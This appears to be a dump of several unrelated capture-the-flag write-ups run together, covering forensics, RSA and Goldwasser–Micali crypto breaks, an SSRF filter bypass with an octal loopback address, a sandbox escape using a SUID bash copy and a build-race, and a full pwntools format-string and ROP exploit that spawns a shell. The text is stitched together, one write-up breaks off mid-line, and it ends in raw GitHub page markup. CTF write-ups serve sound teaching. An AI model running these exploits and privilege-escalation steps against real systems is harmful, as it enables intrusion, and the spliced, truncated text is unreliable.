text_chunk
stringlengths 151
703k
|
---|
[中文](./readme_zh.md) [English](./readme.md)
Challenge attachment download link (maybe will not work in future):
[deepinreal](https://share.weiyun.com/5JMqJdT) (weiyun)
[deepinreal](https://pan.baidu.com/s/1O-A-lbRRADLYqK0y9UDX-w) (baiduyun)
[deepinreal](https://drive.google.com/drive/folders/1qrSPaE1V39a4W3yP8lXHfXAX_SuOIbYk) (google drive)
[deepinreal](https://mega.nz/#F!SiInRaKA!SBtuAQrevLcjO823h1tnPg) (mega)
[deepinreal](http://222.85.25.40/deepinreal/) (mycloud)
# DeepInReal WriteUp
Extract the `zip` file with `z01` file, we got three files.

We have a look at `from-officer.txt`。

According to the `officer`'s message, we can search for the most common and weak password in the world.

According to `wikipedia`, the first result is `123456` in 2019.
So we use `WinAES` to decrypt the `recovered.bin` file.

We got the decrypted file named `recovered.bin.decrypted`. And we have a look at the file's header.

The original file name is `linj.vmdk`, it's a `vmdk` file.
The file's header had been modified. We can modify it back to normal.

We attach the vmdk file in vmware and boot it.
We need password to login the system. The password hint is `headers`.
So `i_love_kdmv` is the password.


When we logined, there is a sticker paper on the desktop.
According to the hint, we press `win+x` to open `windows ink` panel.

We can see `bitlock` on the `sketchpad`. We click into the `sketchpad`.

Here is our bitlock password `linj920623!@#`.

We decrypt the bitlocker disk.

There are two files we should focus on.

A ethereum wallet file and a password dictionary.
We try to write a script to brute it.
```import eth_keyfileimport json
fp = open('ethpass.dict', 'r')wallet = json.loads(open('UTC--2019-07-09T21-31-39.077Z--266ed8970d4713e8f2701cbe137bda2711b78d57', 'r').read())
while True: try: password = fp.readline().strip().encode('ascii') if len(password) <= 0 : print("password not found") break except: continue try: result = eth_keyfile.decode_keyfile_json(wallet, password) except: continue print(password) print(result) break```

We got the result. Password: `nevada`. Private key: `VeraCrypt Pass: V3Ra1sSe3ure2333`.
We find the VeraCrypt file in forensic software.


But we could not find the file in vmware's vm.
We find a `.mylife.vera` delete script in boot folder.

So we can dump the file in some ways.
Use the password to decrypt the `.vera` file and mount it.

We can find `184` files in the folder.

`readme` file gave us a hint 'there is `185` file in this folder'. So there is a hidden file.
The filesystem is `NTFS`. So the suspect may uses `ntfs ads` to hide the secret file.
We can use `dir /r` to find the hidden file `528274475768683480.jpg:k3y.txt:$DATA`.

Use command `notepad 528274475768683480.jpg:k3y.txt` to read the hidden file.

We got the password `F1a9ZiPInD6TABaSE`.
The computer had installed `phpStudy` and `Navicat`, we boot the `mysql server` and try to find the flag zip.

The databases' name are the same with `.sql` file name in bitlocker `gambling` folder.

We can compare the database and find out the differences.
Database `tencent` have a extra table `auth_secret`.

There is a `base64 encoded` flag zip inside.

We use the password `F1a9ZiPInD6TABaSE` to decrypt the `flag.txt` file.

We got the flag.
Flag: `de1ctf{GeT_Deep3r_1N_REAl_lifE_fOrEnIcs}` |
TLDR:
Because of the way the `p` and `q` are generated, we realize that possible values `p + q` are limited. This makes factorizing `N` into `p` and `q` feasible.
Since `e` is not known we have to guess it after getting `p` and `q`. Because of the assertion that `exp & (exp + 1) == 0`, the possible values of `e` are limited to the form `2**k - 1`
With limited search space for `p`, `q`, and `e`, we brute force to get the flag!
Full details and implementations are in the notebook on the link. |
# rosegarden - 1000
__Description__
Rosé is a beautiful singer with a sweet voice, but she is so much busy and she needs more staff to work in her garden. http://45.77.247.11/
__Solution__
Visiting the website we can see there are images of girl named `Rose`. And there's a option on `/request` to send some requests which seems the only interesting thing about the website.
After some more recom we find that there's a `robots.txt` on the website and accessing that URL we find `source.zip`

We can download the source using `curl` or by visiting the http://45.77.247.11/source.zip in your browser.

Inside that zip is a [`app.py`](app.py), Looking at the source we can see that we have to send the request from `127.0.0.1:3333` but if we do that we get an error

That's because there are few checks performed in `check_func` function.
```pythonasync def check_func(hostname, port): try: if len(hostname.split('.')) != 4: 0/0
if '127.' in hostname or '.0.' in hostname or '.1' in hostname: 0/0
if inet_aton(hostname) != b'\x7f\x00\x00\x01': 0/0
if not port: port = 80
result = [] with ThreadPoolExecutor(max_workers=3) as executor: loop = asyncio.get_event_loop() tasks = [ loop.run_in_executor( executor, lambda u: requests.get(u, allow_redirects=False, timeout=2), url ) for url in [f'http://{hostname}:{port}', 'http://127.0.0.1:3333'] ] for res in await asyncio.gather(*tasks): result.append(res.text) except: return False
return result[1] if result[0] == result[1] else False```
* `if len(hostname.split('.')) != 4: 0/0`
This checks that the length of the hostname must be `4` or it will raise `dividing by zero error`

* `if not port: port = 80`
If port not given then take port to be `80`
* `if '127.' in hostname or '.0.' in hostname or '.1' in hostname: 0/0`
This check is the main and important check. This check that there should be `127.` or `.0.` or `.1` in the hostname else it will raise `ZeroDivisionError`
This check can easily be bypassed but using the octal or hex representation of `127.0.0.1`. We used octal representation for this `0177.00.00.01:3333`

**FLAG**: `ISITDTU{warmup task is not that hard}` |
This challenge acted as build service. You could upload and execute files to it. Worker environment is sandboxed, and writable is only workdir of worker and /tmp. If we connect to the server using --admin flag, we have to pass in password for it to print the winning flag.
Same exploit method works for DevMaster 8000 and DevMaster 8001.
## IdeaAfter some time of solving this sandbox challenge I got curious about the /tmp folder. I could see temporary assembly file appear there for a second from time to time. Realizing that this assembly is output of g++ from sandboxed admin rebuild script, that is run every 30 seconds, an idea came to my mind. We could replace this file right before it will produce the final admin executable and effectively remove the check. The problem is that this file is owned by specific worker user, that is inaccessible to us, while it's building. To impersonate **uid** of that specific worker we have to do few things.
## PreparationModify the admin program, so it won't check our supplied password.```std::string expected_hash = std::string(pieces) + "31205d449bc376d0dacb39bf25f4729999bd78d69695fd8dc211c2306209b";std::string actual_hash = picosha2::hash256_hex_string(password); //if (expected_hash == actual_hash) { if (true) { std::ifstream flagfile("./flag"); if (!flagfile.is_open()) { std::cerr << "Failed to open ./flag" << std::endl;```
Run supplied multiplexer and connect to it with two interactive bash jobs. Upload drop_privs exe to the first bash session and edited admin program source to the second bash session.```cromize@jupiter:~/devmaster$ ./multiplexer 13377 nc devmaster-8001.ctfcompetition.com 1337[!] Multiplexer started, listening on port 13377``````cromize@jupiter:~/devmaster$ cp built_bins/drop_privs ../cromize@jupiter:~/devmaster$ built_bins/client nc localhost 13377 -- drop_privs -- drop_privs -- bash -ibash: cannot set terminal process group (-1): Inappropriate ioctl for device bash: no job control in this shellsandbox-runner-0@jail-0:/home/user/builds/build-workdir-XXRw4T$ lsdrop_privs``````cromize@jupiter:~/devmaster$ built_bins/client nc localhost 13377 -- admin.cc -- admin.cc -- bash -ibash: cannot set terminal process group (-1): Inappropriate ioctl for device bash: no job control in this shellsandbox-runner-1@jail-0:/home/user/builds/build-workdir-InU3Lo$ lsadmin.cc```
### sandbox-runner-0Inside the `sandbox-runner-0` make the workdir accessible to everyone and copy bash here. Make bash in workdir executable by everyone and set SUID bit. Exit this bash session, so admin build worker can use this worker for building.```sandbox-runner-0@jail-0:/home/user/builds/build-workdir-XXRw4T$ chmod 777 ../build-workdir-XXRw4Tsandbox-runner-0@jail-0:/home/user/builds/build-workdir-XXRw4T$ cp /bin/bash .sandbox-runner-0@jail-0:/home/user/builds/build-workdir-XXRw4T$ chmod 777 bashsandbox-runner-0@jail-0:/home/user/builds/build-workdir-XXRw4T$ chmod u+s bashsandbox-runner-0@jail-0:/home/user/builds/build-workdir-XXRw4T$ exit```
### sandbox-runner-1Coming back to `sandbox-runner-1`, let's compile our modified admin source into assembly file.```sandbox-runner-1@jail-0:/home/user/builds/build-workdir-InU3Lo$ cp ../../picosha2.h .sandbox-runner-1@jail-0:/home/user/builds/build-workdir-InU3Lo$ g++ --std=c++11 admin.cc -ftemplate-depth=1000000 -o admin -S```
Make the admin file executable by everyone and copy it into /tmp.```sandbox-runner-1@jail-0:/home/user/builds/build-workdir-InU3Lo$ chmod 777 adminsandbox-runner-1@jail-0:/home/user/builds/build-workdir-InU3Lo$ cp admin /tmp/adminsandbox-runner-1@jail-0:/home/user/builds/build-workdir-InU3Lo$ ls /tmpadminuser```
## ExploitChange into old workdir of `sandbox-runner-0` and run that SUID bash there. You have to run it with -p flag to not loose gained **euid** privilege.```sandbox-runner-1@jail-0:/home/user/builds/build-workdir-InU3Lo$ cd ../build-workdir-XXRw4Tsandbox-runner-1@jail-0:/home/user/builds/build-workdir-XXRw4T$ ./bash -p$ iduid=1339(sandbox-runner-1) gid=1339(sandbox-runner-1) euid=1338(sandbox-runner-0) groups=1339(sandbox-runner-1),0(root)```
Notice that our **euid** is `sandbox-runner-0` one. Having **euid** of worker, that is used for admin build, we can now run supplied drop_privs to gain **uid** of `sandbox-runner-0`.```$ ./drop_privs sandbox-runner-0 sandbox-runner-1 bash -p$ iduid=1338(sandbox-runner-0) gid=1339(sandbox-runner-1) groups=1339(sandbox-runner-1),0(root)```
Having real **uid** of `sandbox-runner-0` we can now compromise the intermediate assembly used for building.
Using this script, we can detect the intermediate assembly file made during compilation of admin exe and replace it. Just copy paste the script into our impersonated `sandbox-runner-0` bash and wait for the replacement.```#!/bin/bash
rename() { echo here it is /tmp/*.s ; cp -f /tmp/admin /tmp/*.s ;}
while true; do if [ $(ls -1 /tmp | wc -l) -eq 3 ] ; then rename ; fi ;done``` If you see it echo, you can now try to connect to the server with the --admin flag and get the flag.```cromize@jupiter:~/devmaster$ built_bins/client --admin nc localhost 13377 -- drop_privs -- drop_privs --Enter your password please.
CTF{devMaster-8001-premium-flag}```
If it didn't work, try to wait for the next rebuild. Time window for the race is quite small. |
[中文](./README_zh.md) [English](./README.md)
[attachment.zip](./attachment.zip)
This question is actually a variant of the printable from pwnable.tw
In theory, you can print out the stack address, as long as you predict the last three bits of the stack.
The first is to hijack the control flow, there is an leaving address from ld.so on the stack
The dl_fini function is executed when exit, and there is a interesting piece in it.
```<_dl_fini+819>: call QWORD PTR [r12+rdx*8]```
Rdx is fixed to 0, r12 is from the following code snippet
```<_dl_fini+777>: mov r12, QWORD PTR [rax+0x8]<_dl_fini+781>: mov rax, QWORD PTR [rbx+0x120]<_dl_fini+788>: add r12, QWORD PTR [rbx]```
Rbx points to the address of the ld.so that remains on the stack, so we can control the value of \[rbx]
R12 defaults to fini_array. By controlling rbx, we can let r12 point to bss, that is, we can hijack the control flow.
But after hijacking the flow of control?
We can jump back to the main function
```.text:00000000004007A3 mov edx, 1000h ; nbytes.text:00000000004007A8 mov esi, offset buf ; buf.text:00000000004007AD mov edi, 0 ; fd.text:00000000004007B2 call read```
Read the content again to the bss section, then printf out
If you are careful, you can find that the 23rd parameter on the stack just points to the return address of printf now, that is, we can jump back to 0x4007A3 after printf, that is, infinite loop printf
With an infinite loop printf, it's done like a regular printf
At this time, we have any arbitrary writes, we can write the contents of the printf return address on the stack, write the address of a bss section, and then use the pop rsp gadget to rop.
There is also a small pit, which is that printf can't write values with %hn after more than 0x2000 bytes, so it has to be brute force to the appropriate stack address, but the probability is quite high.
With rop? We still can't leak, this time we can use a magical gadget
```.text:00000000004006E8 adc [rbp+48h], edx```Rbp and edx are all controllable, just in the bss section there are stdin, stdout, sterr these values, pointing to libc
So we can use this gadget to change stderr to one_gadget and then use __libc_csu_init```Call qword ptr [r12+rbx*8]```You can get the shell
After the get shell is quite simple, use the redirect to get the flag
```Cat flag >&0```
## exp```from pwn import *
debug=1
context.log_level='debug'
if debug: p=process('./unprintable') #p=process('',env={'LD_PRELOAD':'./libc.so'})else: p=remote('',)
def ru(x): return p.recvuntil(x)
def se(x): p.send(x)
def sl(x): p.sendline(x)
def wait(x=True): #raw_input() sleep(0.3)
def write_addr(addr,sz=6): t = (stack+0x40)%0x100 v = p64(addr) for i in range(sz): if t+i != 0: se('%'+str(t+i)+'c%18$hhn%'+str(1955-t-i)+'c%23$hn\x00') else: se('%18$hhn%1955c%23$hn') wait() tv = ord(v[i]) if tv != 0: se('%'+str(tv)+'c%13$hhn%'+str(1955-tv)+'c%23$hn\x00') else: se('%13$hhn%1955c%23$hn') wait()
def write_value(addr,value,addr_sz=6): write_addr(addr,addr_sz) se('%'+str(ord(value[0]))+'c%14$hhn%'+str(1955-ord(value[0]))+'c%23$hn\x00') wait() ta = p64(addr)[1] for i in range(1,len(value)): tmp = p64(addr+i)[1] if ta!=tmp: write_addr(addr+i,2) ta = tmp else: write_addr(addr+i,1) if ord(value[i]) !=0: se('%'+str(ord(value[i]))+'c%14$hhn%'+str(1955-ord(value[i]))+'c%23$hn\x00') else: se('%14$hhn%1955c%23$hn\x00') wait()
buf = 0x601060+0x100+4
ru('This is your gift: ')stack = int(ru('\n'),16)-0x118
if stack%0x10000 > 0x2000: p.close() exit()
ret_addr = stack - 0xe8
se('%'+str(buf-0x600DD8)+'c%26$hn'.ljust(0x100,'\x00')+p64(0x4007A3))wait()
tmp = (stack+0x40)%0x10000
se('%c'*16+'%'+str(tmp-16)+'c%hn%'+str((163-(tmp%0x100)+0x100)%0x100)+'c%23$hhn\x00')
wait()
if debug: gdb.attach(p)
raw_input()
rop = 0x601060+0x200
write_value(stack,p64(rop)[:6])
context.arch = 'amd64'
prbp = 0x400690prsp = 0x40082dadc = 0x4006E8arsp = 0x0400848prbx = 0x40082A call = 0x400810 stderr = 0x601040
payload = p64(arsp)*3payload += flat(prbx,0,stderr-0x48,rop,0xFFD2BC07,0,0,call)payload += flat(adc,0,prbx,0,0,stderr,0,0,0,0x400819)
se(('%'+str(0x82d)+'c%23$hn').ljust(0x200,'\0')+payload)
print(hex(stack))
p.interactive()``` |
We are given the following code for this task:```#!/usr/bin/env python
import randomfrom Crypto.Util.number import *from fractions import gcdimport gmpyfrom flag import flag
def make_participants_key(l, nbit): while True: p, q = getPrime(nbit), getPrime(nbit) N, phi = p * q, (p-1)*(q-1) x = random.randint(1, N) if (N % 8 == 1) and (phi % 8 == 4) and (p != q): if pow(q ** 2 * x, (p-1)/2, p) + pow(p ** 2 * x, (q-1)/2, q) == N - phi - 1: break participants_key = [] r, s = [getPrime(nbit) for _ in '01'] for i in range(l): u, v = gmpy.next_prime(r), gmpy.next_prime(s) u -= u % 4 v -= v % 8 participants_key.append((long(u), long(v))) r, s = u + 2 * v, v + 3 * u e0 = phi + sum([participants_key[i][0] for i in range(len(participants_key))]) + sum([participants_key[i][1] for i in range(len(participants_key))]) return (x, N), (participants_key, e0)
def encrypt(msg, pkey): msg, C = bin(bytes_to_long(msg))[2:], [] x, N = pkey for b in msg: while True: r = random.randint(1, N) if gcd(r, N) == 1: br = bin(r)[2:] c = (pow(x, int(br + b, 2), N) * r ** 2) % N C.append(c) break return C
l, nbit = 14, 512pkey, skeys = make_participants_key(l, nbit)enc = encrypt(flag, pkey)```We are also given the public key```(29169469951053295574081524059511535140827283191073251776995458401426751335067978224073517175066569709975139345222677517823282108654144344668206951295920733865048193562823092960410199979804386493444569565801190392203155582443887810481911785072200479531562344730825301324306290366963374793938436402536235751046L, 87995963705775252652902721333907731539211925670258267633625334592684122942357226180852429359176006366878142442513953441034915209172535208468117104886941195190984514419906417536826283135891378770042001164393213815646704419253174664971044632616940041563748768493413579796262475648325000703887764944685010024337L)```the private key of 13-th participant```[(p_1, q_1), (p_2, q_2), (p_3, q_3), (p_4, q_4), (p_5, q_5), (p_6, q_6), (p_7, q_7), (p_8, q_8), (p_9, q_9), (p_10, q_10), (p_11, q_11), (p_12, q_12), (24577912044004448595463057779637545000863729896975449607106255001057277303457321766887564462859651873899271719758660726875817220988246251622444695051161733113960L, 30101504230956252554214968662602777204908308733370256591337015850221220287755935456120201522030432241746171795099896635419686586404004906003066839175499231676280L), (p_14, q_14), 87995963705775252652902721333907731539211925670258267633625334592684122942357226180852429359176006366878142442513953441034915209172535208468117105152559536379768449721582745181807824724938894947268104359039873535516591412297194883059558364240000402862207672404172393583217829233259557249428015013428243679784]```and the encrypted flag consisting of 567 integers which is too long to list here.
The encryption scheme is known as [Goldwasser–Micali cryptosystem](https://en.wikipedia.org/wiki/Goldwasser%E2%80%93Micali_cryptosystem) . Every bit of a message is encrypted independently, zero bits are encoded as squares modulo N=pq, ones are encoded as non-squares modulo N chosen so that Jacobi symbol is still +1. Knowing the prime decomposition of N, one decrypts every bit by calculating Legendre symbol of the encoded value modulo p (+1 means zero, -1 means one), but it is unknown how to do this without knowing p and q.
The leading zeroes of the message are not encoded, so 567 components of the encrypted flag mean 71 bytes and one leading zero bit (as expected for ASCII message).
In turn, the private key encodes p+q by generating a set of 14 pairs of integers, one for every participant, and giving one pair of integers and the sum of (N-p-q+1) and all generated primes to every participant. All participants together can restore the private key by subtracting everything that was given to them.However, only one pair of numbers is actually randomly generated, all others are calculated from there. So we can restore an approximation to the initial values by working backwards. Going backwards is ambiguous due to ```next_prime``` call, but the gaps between consecutive primes are small (Cramér's conjecture states that the gap is O((log p)^2) in the worst case), so the final result should be quite close to the true value of phi = N-p-q+1.```# this and subsequent listings are from SageMath interactive notebookp13, q13 = ... # from our part of private keyr = next_prime(p13)s = next_prime(q13)for i in range(12): r, s = (2*s - r) // 5, (3*r - s) // 5r1 = next_prime(r - 1000)s1 = next_prime(s - 1000)print "Using initial values:", r1, s1r, s = r1, s1participants_key = []for i in range(14): u, v = next_prime(r), next_prime(s) u -= u % 4 v -= v % 8 participants_key.append((u, v)) r, s = u + 2 * v, v + 3 * ue0 = ... # from our part of private keyphi = e0 - sum([participants_key[i][0] for i in range(len(participants_key))]) - sum([participants_key[i][1] for i in range(len(participants_key))])```After that, we know pq=N and p+q=N-phi+1; solving the quadratic equation, we get that (N-phi+1)^2-4N should be a perfect square.```n=87995963705775252652902721333907731539211925670258267633625334592684122942357226180852429359176006366878142442513953441034915209172535208468117104886941195190984514419906417536826283135891378770042001164393213815646704419253174664971044632616940041563748768493413579796262475648325000703887764944685010024337p=(n-phi+1-((n-phi+1)^2-4*n).nth_root(2))//2q=n//pprint n == p*q```Turns out that r,s generated by the procedure above give the exact needed value of phi. If that would not be the case, we would need to check some small interval containing the found value.Finally,```Fp=Integers(p)flag=[...] # encrypted flagf2=[0 if Fp(f).is_square() else 1 for f in flag]hex(int('0'+''.join(str(i) for i in f2),2))[2:-1].decode('hex')``````CCTF{gj_yOU_50lv3d__A_tHreshold_Crypt05ys73M_B4s3D_0N_F4ct0r1n9!_!_!!!}``` |
In this web challenge with the following description:```Store your most valuable secrets with this new encryption algorithm.```we were given a web page with a huge script section and the following output (look at index.html for the full page):```your safely encrypted flag is vdDby72W15O2qrnJtqep0cSnsd3HqZzbx7io27C7tZi7lanYx6jPyb2nsczHuMec```
So the first thing to do is reading the javascript section and understand what it does, we have got an eval statement in which is passed a long expression made up with weird brackets syntax. Eval function though wants a string so let's try to evaluate the weird expression and print it to the console. The result is:
```javascriptf=>btoa( [...btoa(f)].map(s=>String.fromCharCode(s.charCodeAt(0)+(location.host.charCodeAt(0)%location.host.charCodeAt(3)))).join(''))
```
Let's reverse the function to build a decoder for this algorithm:
```javascriptdecode = f=>atob( [...atob(f)].map(s=>String.fromCharCode(s.charCodeAt(0)-(location.host.charCodeAt(0)%location.host.charCodeAt(3)))).join(''))```
Run the decoder with the encrypted flag in the console of the web page:```javascriptdecode('vdDby72W15O2qrnJtqep0cSnsd3HqZzbx7io27C7tZi7lanYx6jPyb2nsczHuMec');"flag{tHe_H1gh3st_quA11ty_antI_d3buG}"```
It is important to run the code in the same page because it uses some information like the hostname, but also downloading the webpage helps us avoiding the event that triggers the debugger statement |
[中文](./README_zh.md) [English](./README.md)
# Baby RSA
This problem challenges basic understanding of RSA.
There is no original idea ,and all codes are my own.
## problem
```pythonimport binasciifrom data import e1,e2,p,q1p,q1q,hint,flag
n = [20129615352491765499340112943188317180548761597861300847305827141510465619670536844634558246439230371658836928103063432870245707180355907194284861510906071265352409579441048101084995923962148527097370705452070577098780246282820065573711015664291991372085157016901209114191068574208680397710042842835940428451949500607613634682684113208766694028789275748528254287705759528498986306494267817198340658241873024800336013946294891687591013414935237821291805123285905335762719823771647853378892868896078424572232934360940672962436849523915563328779942134504499568866135266628078485232098208237036724121481835035731201383423L, 31221650155627849964466413749414700613823841060149524451234901677160009099014018926581094879840097248543411980533066831976617023676225625067854003317018794041723612556008471579060428898117790587991055681380408263382761841625714415879087478072771968160384909919958010983669368360788505288855946124159513118847747998656422521414980295212646675850690937883764000571667574381419144372824211798018586804674824564606122592483286575800685232128273820087791811663878057827386379787882962763290066072231248814920468264741654086011072638211075445447843691049847262485759393290853117072868406861840793895816215956869523289231421L, 29944537515397953361520922774124192605524711306753835303703478890414163510777460559798334313021216389356251874917792007638299225821018849648520673813786772452822809546571129816310207232883239771324122884804993418958309460009406342872173189008449237959577469114158991202433476710581356243815713762802478454390273808377430685157110095496727966308001254107517967559384019734279861840997239176254236069001453544559786063915970071130087811123912044312219535513880663913831358790376650439083660611831156205113873793106880255882114422025746986403355066996567909581710647746463994280444700922867397754748628425967488232530303L, 25703437855600135215185778453583925446912731661604054184163883272265503323016295700357253105301146726667897497435532579974951478354570415554221401778536104737296154316056314039449116386494323668483749833147800557403368489542273169489080222009368903993658498263905567516798684211462607069796613434661148186901892016282065916190920443378756167250809872483501712225782004396969996983057423942607174314132598421269169722518224478248836881076484639837343079324636997145199835034833367743079935361276149990997875905313642775214486046381368619638551892292787783137622261433528915269333426768947358552919740901860982679180791L]c = [19131432661217908470262338421299691998526157790583544156741981238822158563988520225986915234570037383888112724408392918113942721994125505014727545946133307329781747600302829588248042922635714391033431930411180545085316438084317927348705241927570432757892985091396044950085462429575440060652967253845041398399648442340042970814415571904057667028157512971079384601724816308078631844480110201787343583073815186771790477712040051157180318804422120472007636722063989315320863580631330647116993819777750684150950416298085261478841177681677867236865666207391847046483954029213495373613490690687473081930148461830425717614569L, 15341898433226638235160072029875733826956799982958107910250055958334922460202554924743144122170018355117452459472017133614642242411479849369061482860570279863692425621526056862808425135267608544855833358314071200687340442512856575278712986641573012456729402660597339609443771145347181268285050728925993518704899005416187250003304581230701444705157412790787027926810710998646191467130550713600765898234392350153965811595060656753711278308005193370936296124790772689433773414703645703910742193898471800081321469055211709339846392500706523670145259024267858368216902176489814789679472227343363035428541915118378163012031L, 18715065071648040017967211297231106538139985087685358555650567057715550586464814763683688299037897182845007578571401359061213777645114414642903077003568155508465819628553747173244235936586812445440095450755154357646737087071605811984163416590278352605433362327949048243722556262979909488202442530307505819371594747936223835233586945423522256938701002370646382097846105014981763307729234675737702252155130837154876831885888669150418885088089324534892506199724486783446267336789872782137895552509353583305880144947714110009893134162185382309992604435664777436197587312317224862723813510974493087450281755452428746194446L, 2282284561224858293138480447463319262474918847630148770112472703128549032592187797289965592615199709857879008271766433462032328498580340968871260189669707518557157836592424973257334362931639831072584824103123486522582531666152363874396482744561758133655406410364442174983227005501860927820871260711861008830120617056883514525798709601744088135999465598338635794275123149165498933580159945032363880613524921913023341209439657145962332213468573402863796920571812418200814817086234262280338221161622789516829363805084715652121739036183264026120868756523770196284142271849879003202190966150390061195469351716819539183797L]f=lambda m,e,n,c:pow(m,e,n)==cassert(sum(map(f,[p]*4,[4]*4,n,c))==4)
ee1 = 42ee2 = 3ce1 = 45722651786340123946960815003059322528810481841378247280642868553607692149509126962872583037142461398806689489141741494974836882341505234255325683219092163052843461632338442529011502378931140356111756932712822516814023166068902569458299933391973504078898958921809723346229893913662577294963528318424676803942288386430172430880307619748186863890050113934573820505570928109017842647598266634344447182347849367714564686341871007505886728393751147033556889217604647355628557502208364412269944908011305064122941446516990168924709684092200183860653173856272384ce2 = 13908468332333567158469136439932325992349696889129103935400760239319454409539725389747059213835238373047899198211128689374049729578146875309231962936554403287882999967840346216695208424582739777034261079550395918048421086843927009452479936045850799096750074359160775182238980989229190157551197830879877097703347301072427149474991803868325769967332356950863518504965486565464059770451458557744949735282131727956056279292800694203866167270268988437389945703117070604488999247750139568614939965885211276821987586882908159585863514561191905040244967655444219603287214405014887994238259270716355378069726760953320025828158tmp = 864078778078609835167779565982540757684070450697854309005171742813414963447462554999012718960925081621571487444725528982424037419052194840720949809891134854871222612682162490991065015935449289960707882463387n = 15911581555796798614711625288508309704791837516232122410440958830726078821069050404012820896260071751380436992710638364294658173571101596931605797509712839622479368850251206419748090059752427303611760004621378226431226983665746837779056271530181865648115862947527212787824629516204832313026456390047768174765687040950636530480549014401279054346098030395100387004111574278813749630986724706263655166289586230453975953773791945408589484679371854113457758157492241225180907090235116325034822993748409011554673180494306003272836905082473475046277554085737627846557240367696214081276345071055578169299060706794192776825039assert(pow(e1,ee1,n)==ce1)assert(pow(e2+tmp,ee2,n)==ce2)
e = 46531n = 16278524034278364842964386062476113517067911891699789991355982121084973951738324063305190630865511554888330215827724887964565979607808294168282995825864982603759381323048907814961279012375346497781046417204954101076457350988751188332353062731641153547102721113593787978587135707313755661153376485647168543680503160420091693269984008764444291289486805840439906620313162344057956594836197521501755378387944609246120662335790110901623740990451586621846212047950084207251595169141015645449217847180683357626383565631317253913942886396494396189837432429078251573229378917400841832190737518763297323901586866664595327850603c = 14992132140996160330967307558503117255626925777426611978518339050671013041490724616892634911030918360867974894371539160853827180596100892180735770688723270765387697604426715670445270819626709364566478781273676115921657967761494619448095207169386364541164659123273236874649888236433399127407801843412677293516986398190165291102109310458304626261648346825196743539220198199366711858135271877662410355585767124059539217274691606825103355310348607611233052725805236763220343249873849646219850954945346791015858261715967952461021650307307454434510851869862964236227932964442289459508441345652423088404453536608812799355469hint=int(binascii.hexlify(hint),16)assert(q1p*q1q==n)assert(q1p |
This challenge required a ret2libc attack.
I first used write() to leak read's libc address using read's GOT entry
I then used that leaked address to find the libc version using niklasb's libc-database
I then used the libc library to find system and the string '/bin/sh's offsets
I used the leaked address to calculate the libc base address (using read's offset), then jumped back to main, re exploited the binary but this time called system('/bin/sh')
A very detailed writeup can be found on [my website](https://syedfarazabrar.com/pwn/2019/06/22/hsctf-binary-exploitation-challenges.html#storytime) |
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com">
<link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/light-fe3f886b577a.css" /><link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/dark-a1dbeda2886c.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-1ad5cf51dfeb.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-11d3505dc06a.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-8b800495504f.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-daa38c88b795.css" /><link data-color-theme="light_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_high_contrast-1b9ea565820a.css" /><link data-color-theme="light_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_tritanopia-e4be9332dd6c.css" /><link data-color-theme="dark_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_tritanopia-0dcf95848dd5.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/primer-c581c4e461bb.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/global-0e278d45156f.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/github-dcaf0f44dbb1.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/code-26709f54a08d.css" />
<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/wp-runtime-774bfe5ae983.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_stacktrace-parser_dist_stack-trace-parser_esm_js-node_modules_github_bro-327bbf-0aaeb22dd2a5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/ui_packages_soft-nav_soft-nav_ts-21fc7a4a0e8f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/environment-e059fd03252f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-2646a2c533e3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe-c04540d458d4.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_relative-time-element_dist_index_js-b9368a9cb79e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_fzy_js_index_js-node_modules_github_markdown-toolbar-element_dist_index_js-e3de700a4c9d.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_auto-complete-element_dist_index_js-node_modules_github_catalyst_-6afc16-e779583c369f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_text-ex-3415a8-7ecc10fb88d0.js"></script><script crossorigin="anonymous" defer="defer" 